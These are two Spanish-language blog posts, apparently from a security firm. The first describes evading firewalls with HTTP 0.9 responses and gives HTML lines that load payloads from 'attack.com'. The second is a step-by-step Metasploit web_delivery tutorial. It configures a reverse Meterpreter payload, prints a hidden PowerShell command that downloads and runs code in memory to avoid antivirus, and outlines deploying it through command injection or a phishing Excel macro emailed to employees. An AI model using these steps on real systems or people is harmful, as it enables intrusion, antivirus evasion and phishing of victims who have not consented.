Wednesday 23 September 2015

¿Cómo utilizar evasión HTTP y malware a nivel de Firewall?

HTTP versión 0.9 fue la primera versión del protocolo HTTP, definido en 1991 pero ya utilizado antes. Simplemente consiste en una petición GET sobre el lado del cliente que se asemeja levemente solicitud de GET actual, seguido de una respuesta en el lado del servidor. Contrario HTTP 1.0 (especificado 1996) la respuesta no consiste en el encabezado de respuesta y el cuerpo de la respuesta, pero solo contiene el cuerpo según expertos de Webimprints, empresa de seguridad informática. Esto significa que no es posible definir  los tipos de datos (Content-type), compresiones (Content-Encoding) o dar la longitud del cuerpo (Content-Length), por lo que la respuesta simplemente termina con el cierre de la conexión TCP subyacente por el servidor menciona Dave Smith especialista de seguridad informática en México.

Por ejemplo, hoy HTTP 1.1 contienen cabecera y el cuerpo y verse así:

HTTP/1.1 200 ok
Content-type: application/octet-stream
Content-length: 68

alguno-malware-aquí


Mientras que con HTTP 0.9 sería sólo el cuerpo sin cabecera:

alguno-malware-aquí


Curiosamente, HTTP 0.9 respuestas a peticiones HTTP 1.1 son aceptadas por todos los principales navegadores, aunque uno no esperaría  que los servidores habla este protocolo hoy en día según experto de proveedor de seguridad informática.


Una respuesta HTTP 0.9 no parece ser la respuesta esperada de la HTTP 1.x, ya que no incluye una cabecera de respuesta. Así que uno esperaría de un firewall para bloquear esa respuesta, porque se ve como una violación del protocolo HTTP. Y ningún firewall hoy debe asumir que existe un verdadero servidor que todavía se utiliza HTTP 0.9 en la producción. Alternativamente, el firewall puede hacer un análisis de malware de la respuesta HTTP 0.9 explica experto de proveedor de seguridad informática.


Pero, sorprendentemente, la mayoría de los firewalls, simplemente pasan una respuesta HTTP/0,9 a través sin inspección adicional. Ya que no analizan estos HTTP 0.9 respuestas en busca de malware, uno pueden asumir que estos firewalls simplemente pase todo lo no entiendan.

Puesto que en el momento que se definió HTTP 0.9 fue utilizado para mostrar HTML solamente, se podría considerar que no es peligroso, ya que sólo se muestra en el navegador. Pero mediante la combinación de la vieja HTTP 0.9 con el HTML 5 moderna uno podría simplemente hacer cumplir una descarga mediante el atributo de descarga:

<a href="http://attack.com/http09-response" download="virus.exe">

Del mismo modo una respuesta HTTP 0.9 podría utilizarse como secuencia de comandos, imagen o página HTML mediante la incorporación dentro del contexto apropiado explica especialista de empresa de pruebas de penetración:

<script src="http:// attack.com /http09-response.js">
<img src="http:// attack.com /http09-response.gif">
<a href="http:// attack.com/http09-response.html"


Evasión por Firewall a nivel HTTP son peligrosas, no sólo porque el malware puede transmitirse al usuario, sino también porque a menudo no dejan huellas y así consiguen totalmente desapercibido explica especialista de empresa de pruebas de penetración. Si uno tiene una mirada en el código fuente de soluciones IDS actuales como el uso común Snort, Bro o Suricata uno puede ver que la mayoría supone que el atacante utiliza, respuestas HTTP conformación estándar común y tratará la entrada en consecuencia. Es decir tomarán las partes de la respuesta HTTP que ellos puedan entender fácilmente y por lo general ignoran en silencio el resto. Las experiencias con los productos comerciales demuestran que confían a menudo ciegamente en la capa de HTTP de una manera similar.

Saturday 12 September 2015

Modulo web delivery de Metasploit para evasión de antivirus

En este artículo vamos a echar un vistazo a un módulo de explotación de Metasploit que no recibe mucha atención. Este módulo se llama web_delivery y el módulo dispara rápidamente un servidor web que sirve payloads. El objetivo principal de este módulo es establecer rápidamente una sesión en un equipo de destino cuando el atacante tiene que escribir manualmente en el comando de sí mismo explica Jon Bush, experto de pruebas de penetración. Acuerdo con profesionales de empresa de seguridad informática, este vector de ataque no escribe en el disco por lo que es menos probable que antivirus detecta la actividad y permitirá escaladas de privilegios suministrados por Meterpreter.
Para empezar, arranca msfconsole y seleccionar el módulo web_delivery con el siguiente comando:
use exploit/multi/script/web_delivery
El comando "info" nos dará una visión general de las opciones y el uso del módulo previsto. Como se puede ver este módulo servirá payload a través de HTTP y espera por una conexión desde el blanco, por eso se llama "web_delivery". La computadora de victima debe conectar con su servidor web para que esto funcione explica experto de pruebas de penetración.
Podemos ver que hay tres opciones disponibles:
Python
PHP
PSH (PowerShell)

Estas tres opciones proporcionan una cobertura bastante sólido para la mayoría de las situaciones que es probable que encuentre. Python se ha incluido con Linux y OSX desde hace varios años, PSH se incluye con todas las versiones de Windows y PHP cubrirá al menos algunas de sus necesidades de servidor web.

Según profesionales de empresa de seguridad informática, lo primero que debe hacer es dirigirse a las opciones "SRVHOST" y "SRVPORT". Puede dejar "SRVHOST" con el valor por defecto, pero cambia "SRVPORT" a "80", ya que la mayoría de los sistemas usan ese puerto. Como he mencionado antes Jon Bush, experto de pruebas de penetración, este es un módulo de exploit para que usted consiga shell y para eso tendrá que especificar las opciones de payload también. Utilice el comando estándar para establecer payload dependiendo de su blanco. Vamos a suponer que es PSH. set PAYLOAD windows/meterpreter/reverse_https
Por último, establecer opciones "LHOST" y " LPORT " de payload como necesario.
Algo a destacar es que este módulo se ejecuta automáticamente como un servicio en segundo plano, lo que significa que el controlador se ejecuta de forma indefinida, por lo que no tiene que preocuparse por problemas de tiempo de espera en sistemas lentos, y se puede seguir utilizando frameworks para tareas adicionales mientras que espere por shell. Una vez que esté listo, puede iniciarlo con:
exploit
y usted debe obtener un comando similar al siguiente:
powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://<LHOST>/b9Ezsssdf'))
Ahora, ¿cómo se pone eso a utilizar depende de su escenario y pueden probar eso durante auditoría de pruebas de penetración. Escenario 1: Inyección de comandos Así que usted tiene una vulnerabilidad de inyección de comandos en una aplicación web. Usted ya ha determinado que el servidor se ejecuta en Windows. Obviamente, usted debe crear un ejecutable de Meterpreter o puerta trasera de un exe conocido, alojar a través de HTTP o FTP, y luego aprovechar la inyección de comandos para "echo" de su script línea por línea, para bajar y ejecutar el ejecutable. O bien, puede aprovechar la inyección de comandos para ejecutar un solo comando que inicia PowerShell, descargas y ejecuta script completamente en la memoria para que el Antivirus no lo detecte, y usted tendrá su shell.
Escenario 2: Phishing Digamos que usted va hacer phishing, y para eso puede tomar un documento de Excel, pone algunos números en ella, y lo llama un informe de gastos. Crear script de VBA para ejecutar el módulo y pegarlo en una macro. Enviar este documento en correos a las personas de diferentes departamentos para que usted obtenga al menos un shell.
Este artículo se centró en el objetivo de PSH, cosas similares son posibles con los objetivos de Python y PHP explican expertos de webimprints, un proveedor y empresa de seguridad informática.